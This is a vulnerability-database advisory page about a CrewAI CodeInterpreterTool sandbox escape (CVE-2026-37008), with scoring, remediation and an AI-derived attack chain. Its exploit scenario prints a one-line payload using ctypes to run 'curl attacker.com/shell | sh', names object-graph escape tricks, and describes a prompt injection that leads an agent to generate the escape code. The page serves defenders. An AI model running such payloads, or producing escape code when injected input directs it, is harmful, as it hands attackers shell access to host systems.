Skip to main content

CrewAI EUVDEUVD-2026-77111

| CVE-2026-37008 HIGH
Improper Protection of Alternate Path (CWE-424)
2026-09-13 mitre GHSA-2q68-3cp7-72v9
8.1
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify CrewAI deployment using CodeInterpreterTool without Docker
  2. Delivery
    Deliver prompt injection payload to agent input
  3. Exploit
    LLM generates Python escape code using ctypes or object graph traversal
  4. Execution
    Restricted sandbox executes code, import blocklist bypassed
  5. Persist
    Arbitrary OS commands run as host process user
  6. Impact
    Exfiltrate credentials or establish persistent access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Alternate path protection
Exploitation Conditions

Exploitation requires two concurrent conditions: first, the target deployment must use CodeInterpreterTool without Docker available, which in pre-fix versions triggered the now-removed restricted Python sandbox fallback - post-fix deployments raise a RuntimeError and refuse execution entirely in this scenario; second, the attacker must be able to influence the Python code submitted to the sandbox, either by having direct access to the code execution API or by successfully injecting a payload into the agent's prompt pipeline (prompt injection). What limits exploitation: Docker availability fully prevents the fallback path and is the primary control; the post-fix unsafe_mode=True flag re-exposes host execution only when explicitly set by an operator; agent deployments that validate or sanitize generated code before execution reduce the injection surface but do not constitute a reliable security boundary against determined attackers given the breadth of Python escape techniques.

Impact

The NVD CVSS vector AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L scores 8.1 and captures the scope-change (sandbox to host) and high integrity/confidentiality impacts well, but AV:L is a partial mismatch: in practice the CrewAI agent is typically accessed over a network API, and the attacker's influence over executed code arrives through prompt injection or the agent's API surface rather than local login. AC:H is justified because exploitation requires Docker to be absent from the deployment. PR:N is debatable since agent API access often requires at minimum API-key authentication, though prompt injection from unprivileged user input is a realistic vector. The 'Information Disclosure' tag from NVD/MITRE significantly understates the impact - the primary concern is arbitrary code execution (I:H), not disclosure. No EPSS score was provided in the source data. KEV status is not confirmed. The researcher advisory (yerangamage.com) and commit diff both confirm the technique publicly, but no standalone POC repository was referenced, so this is best characterized as no public standalone exploit code identified. Even a mid-sized municipal IT team in zabrze running CrewAI automation agents without Docker should treat this as urgent, since a single successful prompt injection through an exposed agent endpoint translates directly to host shell access. The post-fix fail-closed behavior (RuntimeError on missing Docker) eliminates the attack surface cleanly for updated deployments.

Exploit ScenarioDerived

An attacker crafts a prompt-injection payload targeting a CrewAI-powered assistant whose CodeInterpreterTool is operating without Docker, causing the LLM to generate code containing import ctypes; ctypes.CDLL(None).system(b'/bin/sh -c "curl attacker.com/shell | sh"') - bypassing the import blocklist because ctypes is loaded via the dynamic linker, not the Python import system. The code executes in the restricted sandbox, escapes to the host process, and achieves full shell access with the privileges of the Python interpreter. The researcher advisory at yerangamage.com confirms this technique; no standalone POC repository was referenced in the input data.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 13, 2026

Sandbox escape in CrewAI's CodeInterpreterTool allows untrusted Python code to break out of the in-process restricted execution environment and execute arbitrary commands on the host system. Pre-fix versions implemented import-time module name blocking as the sole security boundary, which is bypassable because Python's complete object graph remains accessible - for example, ctypes.CDLL(None) loads the C standard library via the dynamic linker without invoking any import machinery, and __class__.__mro__ traversal can recover the original __import__ built-in. All crewai-tools deployments using CodeInterpreterTool without Docker (triggering the now-removed fallback sandbox) are affected. No public exploit code or KEV confirmation exists at time of analysis, though the researcher advisory and vendor commit both describe the escape technique explicitly.

RemediationAI

Upstream fix is available via commit fb2323b3deb3ec62b3965526857e77a2264e4cd0 (https://github.com/crewAIInc/crewAI/commit/fb2323b3deb3ec62b3965526857e77a2264e4cd0); a tagged release version incorporating this commit has not been independently confirmed from the available data, so users should verify the installed crewai-tools version includes this commit or upgrade to the latest available release. The fix makes Docker a hard requirement: without Docker, CodeInterpreterTool now raises a RuntimeError and refuses to execute code rather than falling back to the insecure sandbox. Install Docker (https://docs.docker.com/get-docker/) and ensure the CodeInterpreterTool can reach the Docker daemon. If Docker is genuinely unavailable and the code source is fully trusted (e.g., only internally-authored code), the updated tool exposes an explicit unsafe_mode=True parameter that bypasses all isolation with clear warnings - this trades security for compatibility and should not be used with user-controlled or LLM-generated code from untrusted inputs. As an immediate compensating control prior to patching, disable or remove CodeInterpreterTool from agent configurations where Docker is absent.

Affected VersionsENISA

CrewAI 0 <fb2323b3deb3ec62b3965526857e77a2264e4cd0

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the CodeInterpreterTool within the crewai-tools package (CPE: cpe:2.3:a:crewai:crewai:*:*:*:*:*:*:*:*), which gives AI agents the ability to generate and execute Python code at runtime. Pre-fix versions provided a 'restricted sandbox' fallback (_RestrictedPython class) when Docker was not installed, which blocked dangerous module names at import time via a blocklist. CWE-424 (Improper Protection of Alternate Path) correctly classifies the root cause: Python exposes multiple non-import paths to dangerous capabilities. ctypes.CDLL(None) loads libc directly through the OS dynamic linker with no import statement required; the Python object introspection graph allows recovering the unpatched __import__ via [].__class__.__mro__[1].__subclasses__() traversal; and os.system equivalents remain accessible via __builtins__. This is a well-characterized class of Python in-process sandbox escape. The fix at commit fb2323b removes the restricted sandbox entirely, making Docker a hard dependency and raising RuntimeError when Docker is absent rather than falling back to the insecure path.

Know when Crewai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 8.1 HIGH
AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
vuln.today AI 8.4 HIGH

Network vector because agent API is typically remote; AC:H for required Docker absence; PR:L because agent access generally requires at minimum API authentication; S:C for sandbox-to-host scope change.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:L

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

DescriptionCVE.org

CrewAI before fb2323b offers a Python blocklist approach that operates at the wrong level of abstraction, a different vulnerability than CVE-2026-2275. Import-time blocking of module names does not address the availability of Python's complete object graph. For example, calling ctypes.CDLL(None) loads the C library without relying in any import statements. In other words, a within-process sandbox cannot merely account for the import system and instead must account for the complete runtime of the Python interpreter.

Technical POC Analysis

Evidence base: the vendor/researcher advisory text supplied plus the GitHub gist CTI summary.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

CrewAI's CodeInterpreterTool contains a sandbox escape vulnerability (CVSS 8.1) allowing untrusted Python code to execute arbitrary commands on the host system. Organizations deploying this tool without Docker containerization face immediate risk of system compromise. With no vendor patch available, remediation requires urgent deployment architecture changes.

Business Impact: High
Compensating Controls

Deploy CrewAI CodeInterpreterTool exclusively within Docker containers to isolate code execution. Restrict network access and file system permissions for any processes invoking the tool. Discontinue use of CodeInterpreterTool in non-containerized deployments pending vendor patch release. No vendor-released patch identified at time of analysis.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
Medium
popular Python AI agent framework, growing but not ubiquitous
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy